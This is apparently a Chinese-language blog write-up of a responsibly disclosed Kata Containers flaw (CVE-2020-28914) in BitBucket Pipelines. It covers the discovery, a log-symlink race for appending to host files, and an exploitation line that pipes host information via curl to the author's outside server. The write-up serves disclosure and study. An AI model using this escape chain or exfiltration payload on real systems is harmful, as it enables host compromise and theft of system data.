BitBucket Pipelines中Kata Containers虚拟机逃逸漏洞分析

本文详细分析了在BitBucket Pipelines CI/CD环境中发现的Kata Containers安全漏洞(CVE-2020-28914),该漏洞允许恶意构建作业以root用户身份向宿主机系统任意文件写入数据,最终可能导致虚拟机逃逸。

BitBucket Pipelines Kata Containers虚拟机逃逸

Atlassian在Bugcrowd上开展了一个项目,旨在寻找其BitBucket Pipelines CI/CD环境中Kata Containers实现方案的漏洞。在参与该项目时,我发现Kata Containers中存在一个安全漏洞,允许Kata虚拟机内运行的进程向本应只读的卷挂载执行写操作。该漏洞被Kata Containers团队修复并分配了CVE-2020-28914。在该项目的Pipelines环境中,利用此漏洞可使恶意构建作业以root用户身份向宿主机系统的任意文件写入半可控数据。

以下是该漏洞的发现过程及在BitBucket Pipelines环境中利用该漏洞的影响评估。

引言

BitBucket Pipelines是一个运行BitBucket仓库构建作业的CI/CD环境。Atlassian正在试用一个新的Pipelines构建环境,该环境使用Kata Containers来尝试逻辑上隔离不同用户的构建作业。Kata Containers是一种兼容CRI的容器运行时实现,通过Containerd在单独的QEMU虚拟机(VM)中执行容器。这个新环境的目标是提供比常规容器化更高的安全性和隔离性,以防恶意构建作业逃逸构建容器。

在新的BitBucket Pipelines环境中,构建作业作为Kubernetes Pod执行,Kata Containers配置为容器运行时,导致每个构建作业在单独的Kata VM中执行。

漏洞挖掘

逃逸到Kata VM

从构建容器中,可以在特权DIND容器中使用Docker服务启动更多特权容器*。使用我之前在特权容器逃逸-控制组release_agent中描述的技术,可以逃逸容器环境,直接在Kata VM中以root用户身份执行命令。虽然这本身不是一个漏洞,但它是寻找环境中其他漏洞的重要跳板。

*需要注意的是,生产环境中的BitBucket Pipelines实现了Docker授权插件来防止在特权DIND容器中运行任意Docker命令,但在本项目评估中该插件被禁用。

Kata Containers ‘hostPath’漏洞发现

在构建容器中,可以通过挂载的文件系统发现卷挂载。在调查挂载路径时,我注意到几个kataShared挂载:

1
2
3
4
5
6
7
8
root@buildcont$ mount
...
kataShared on /etc/hostname type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
kataShared on /dev/termination-log type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
kataShared on /etc/hosts type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
kataShared on /etc/resolv.conf type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
kataShared on /usr/bin/docker type 9p (ro,dirsync,relatime,mmap,access=client,trans=virtio)
...

其中一个挂载路径特别有趣:/usr/bin/docker。构建容器配置为从容器宿主机hostPath挂载Docker客户端二进制文件。我认为这是为了方便确保无论构建容器使用什么基础镜像(基础镜像可由用户配置),都能访问DIND服务而无需手动安装Docker客户端。

从挂载输出可以清楚地看到/usr/bin/docker路径是只读挂载的,任何写入该路径的尝试都会被内核拒绝。

从Kata VM检查挂载点显示,单个容器挂载点不可见,只存在一个"父"挂载点:

1
2
3
4
root@katavm$ mount 
...
kataShared on /run/kata-containers/shared/containers type 9p (rw,nodev,relatime,dirsync,mmap,access=client,trans=virtio)
...

然而,在这个路径下,单个容器挂载以文件和目录形式存在:

1
2
3
4
5
6
7
8
root@katavm$ ls -la /run/kata-containers/shared/containers
...
-rw-r--r--  1 root root       43 Oct 26 11:47 6f727...b39fb-hostname
-rw-rw-rw-  1 root root        0 Oct 26 11:47 6f727...7097c-termination-log
-rw-r--r--  1 root root      239 Oct 26 11:47 6f727...c5e0e-hosts
-rw-r--r--  1 root root       42 Oct 26 11:47 6f727...268f9-resolv.conf
-rwxr-xr-x  1 root root 50683148 Jan  9  2019 6f727...4440e-docker
...

为了进一步理解挂载过程,我在VPS上设置了一个测试Kubernetes环境,并配置Kata Containers作为容器运行时。然后我部署了一个带有只读hostPath卷的Pod:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
apiVersion: apps/v1
kind: Deployment
metadata:
  name: build-deployment
spec:
  selector:
    matchLabels:
      app: build
  template:
    metadata:
      labels:
        app: build
    spec:
      runtimeClassName: kata
      containers:
      - name: build
        image: alpine:latest
        command: ["tail"]
        args: ["-f", "/dev/null"]
        volumeMounts:
        - mountPath: /usr/bin/docker
          name: docker
          readOnly: true
      volumes:
      - name: docker
        hostPath:
          path: /opt/docker/bin/docker

评估测试环境时,我发现容器hostPath卷遵循从宿主机到目标容器的一个相当复杂的挂载链:

  1. 源挂载路径被绑定挂载到容器宿主机上的目标Kata VM共享目录(/run/kata-containers/shared/sandboxes/<KataVM_ID>/shared/)
  2. Kata VM共享目录通过virtio-9p-pci设备共享到目标Kata VM
  3. 在Kata VM内,virtio设备被挂载到容器共享目录(/run/kata-containers/shared/containers)
  4. 挂载路径从容器共享目录绑定挂载到目标容器

此时我注意到一些奇怪的地方:

1
2
3
4
5
6
7
8
root@host$ mount
...
/dev/vda1 on /run/kata-containers/shared/sandboxes/9619d...b411d/shared/7277c...f78c0-docker type ext4 (rw,relatime)
...
root@host$ cat /proc/self/mountinfo
...
3196 2875 252:1 /opt/docker/bin/docker /run/kata-containers/shared/sandboxes/9619d...b411d/shared/7277c...f78c0-docker rw,relatime master:1 - ext4 /dev/vda1 rw
...

上面的输出显示,尽管docker挂载在Pod YAML中配置为只读,但它被绑定挂载为读写方式到Kata VM共享目录。尽管如此,它最终在目标容器内被挂载为只读。这意味着只读保护是从Kata VM内部应用的,挂载源可能会被直接在Kata VM中运行的命令修改。

由于已经在Kata VM中获得命令执行权限(见上文"逃逸到Kata VM"部分),我通过写入本应只读的docker二进制文件来测试这一点:

1
root@katavm$ echo 1 > /run/kata-containers/shared/containers/7277c...f78c0-docker

写入成功,并且可以从容器宿主机看到修改后的docker二进制文件:

1
2
3
4
root@host$ ls -la /opt/docker/bin/docker
-rwxr-xr-x  1 root root 2 Oct 26 18:16 /opt/docker/bin/docker
root@host$ cat /opt/docker/bin/docker
1

回到Pipelines环境,我确认可以修改容器宿主机上的docker二进制文件,并让修改后的二进制文件影响其他构建,非常酷!

不幸的是,由于PoC中的一个错误,我损坏了docker二进制文件的备份,破坏了节点上运行的所有其他构建,非常不酷!

此时我决定尽可能清理并提交初始Bugcrowd报告,说明我可能已经对Pipelines环境造成了DoS攻击,并将尽快提供完整报告。几小时后我完成了完整报告。

影响评估与利用

我已经确定可以覆盖挂载到节点上每个构建容器的docker二进制文件,并写入恶意代码。这可以被利用来修改同一节点上其他构建的输出,但不幸的是,这似乎不能被利用来逃逸Kata VM并在容器宿主机上执行命令,这是我的最终目标。

进一步评估发现了另一个只读hostPath卷,它挂载了/var/log/pods/$(NAMESPACE_NAME)$(POD_NAME)$(POD_ID)目录。这个挂载包括Pod中每个容器的标准输出日志。看起来这个挂载被一个"agent"容器用来向Pipelines web UI报告构建和服务容器的输出。

Pod中的每个容器在日志目录中都有一个单独的子目录,容器的标准输出被写入其子目录下的0.log。容器输出的每一行都被记录,前面有时间戳、流名称和截断状态,如下所示:

1
2
2020-10-29T12:49:35.410976914Z stdout F id
2020-10-29T12:49:35.503666526Z stdout F uid=0(root) gid=0(root) groups=0(root)

在我的测试环境中查找/var/log/pods目录时,我很快发现这些日志是由容器宿主机上运行的containerd进程写入的。

第二个挂载似乎更有希望逃逸Kata VM,原因有三:

  1. 挂载源是一个目录,而不仅仅是像docker挂载那样的单个文件
  2. 目录中的文件由容器宿主机上以root用户身份运行的进程写入
  3. 写入文件的数据可以部分控制,因为它包括构建作业控制的容器的stdout

写入原语

我利用这个日志挂载的第一个想法是将测试容器的当前标准输出日志文件替换为指向另一个文件的符号链接,然后让容器将受控数据写入标准输出流。令人惊讶的是,这第一次就成功了,将test/0.log链接到test/1.log导致"test"容器的标准输出流被写入目标test/1.log文件。

为了证明符号链接目标是由容器宿主机上的进程(而不是Kata VM内部)写入的,我配置了我的测试Kubernetes环境,Pod挂载了/var/log/pods/$(NAMESPACE_NAME)$(POD_NAME)$(POD_ID)目录,并确认这种技术会在挂载的日志目录之外的容器宿主机上创建新文件。

此时,我可以在容器宿主机上创建任何新文件,权限为-rw-r—–,所有者是root:root,并且包含部分可控数据。然而,不幸的是,似乎无法覆盖或追加到现有文件。如果没有追加到现有文件的能力,这个问题将更难利用,因为我可以在容器宿主机上的文件没有"执行"权限。

追加原语

由于某些未知原因,当将test/0.log符号链接到现有文件时,Containerd会拒绝覆盖或追加到符号链接目标。这让我比应有的更恼火,所以我开始在GitHub上查看Containerd源代码,寻找可能的原因。

事实证明,Containerd在写入容器标准输出日志行时会忽略错误,并且没有自动方法在出错时重新打开日志文件。我发现上面的写入原语实际上是有效的,因为Kubernetes Kublet中的日志轮转代码。每10秒,Kubernetes kubelet进程会检查每个运行中容器的容器标准输出日志目录。如果0.log文件不存在,Kubelet会向Containerd发送一个gRPC请求,告诉它重新打开日志文件。但是,在0.log被符号链接到现有文件的情况下,Kubelet看到文件存在并且不进行gRPC调用,阻止Containerd写入符号链接位置。

查看Kubelet日志轮转代码,我发现了一种追加到现有文件的可能性。如果0.log大于10MB,Kubelet会将0.log轮转为0.log.,然后向Containerd发送gRPC请求,告诉它重新打开0.log文件进行日志记录。

1
2
3
4
5
6
7
func (c *containerLogManager) rotateLatestLog(id, log string) error {
	timestamp := c.clock.Now().Format(timestampFormat)
	rotated := fmt.Sprintf("%s.%s", log, timestamp)
	if err := c.osInterface.Rename(log, rotated); err != nil {
		return fmt.Errorf("failed to rotate log %q to %q: %v", log, rotated, err)
	}
	if err := c.runtimeService.ReopenContainerLog(id); err != nil {

https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/logs/container_log_manager.go

这个跨两个进程的非原子操作包含一个相对简单的竞争条件。如果在Kubelet轮转0.log之后但在Containerd重新打开0.log之前,0.log被创建为指向现有文件的符号链接,Containerd将愉快地打开符号链接目标并追加所有未来的日志行。

利用(或缺乏利用)

现在有了向容器宿主机上的任意文件追加内容的能力,我的计划是识别一个可能存在的shell脚本,并追加执行任意shell命令的行。例如,在容器中执行以下命令:

1
echo 'Run command \\$({ hostname; id; uname -a; } 2>&1 | curl -T - http://debug.webhooks.pw/log)'

将导致以下行被追加到目标shell脚本:

1
2
2020-11-02T08:43:34.846940623Z stdout F + echo 'Run command \\$({ hostname; id; uname -a; } 2>&1 | curl -T - http://debug.webhooks.pw/log)'
2020-11-02T08:43:34.846946507Z stdout F Run command \\$({ hostname; id; uname -a; } 2>&1 | curl -T - http://debug.webhooks.pw/log)

当从bash或sh shell执行时,子命令{ hostname; id; uname -a; } 2>&1 | curl -T - http://debug.webhooks.pw/log将被执行,它将记录hostname、id和uname -a命令的输出到我控制下的web服务器。(由于子命令在shell脚本中的一行上的"主"命令之前被评估,因此"主"命令2020-11-02T08:43:34.846946507Z在此实例中不是有效的shell命令并不重要。)

不幸的是,在初始报告和Kata Containers修复应用于Pipelines环境之间的时间里,我无法在容器宿主机上识别出合适的目标shell脚本进行写入。然而,最终BitBucket团队评估了提供的更新细节,并得出结论认为这个问题很可能被利用来以root用户身份在容器宿主机上执行命令。虽然这是这段旅程的一个稍微令人失望的结局,但我对BitBucket团队的回应感到满意。

时间线

  • 20201026 - 初始报告
  • 20201028 - Atlassian确认漏洞
  • 20201030 - Atlassian创建针对Kata Containers项目的错误报告
  • 20201030 - 提供更多信息
  • 20201106 - Kata Containers PR合并
  • 20201112 - Kata Containers修复发布
  • 20201117 - CVE-2020-28914分配
  • 20201118 - Atlassian实施修复

致谢

我要感谢Atlassian BitBucket团队和Kata Containers团队对这个问题的快速响应。

参考资料

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计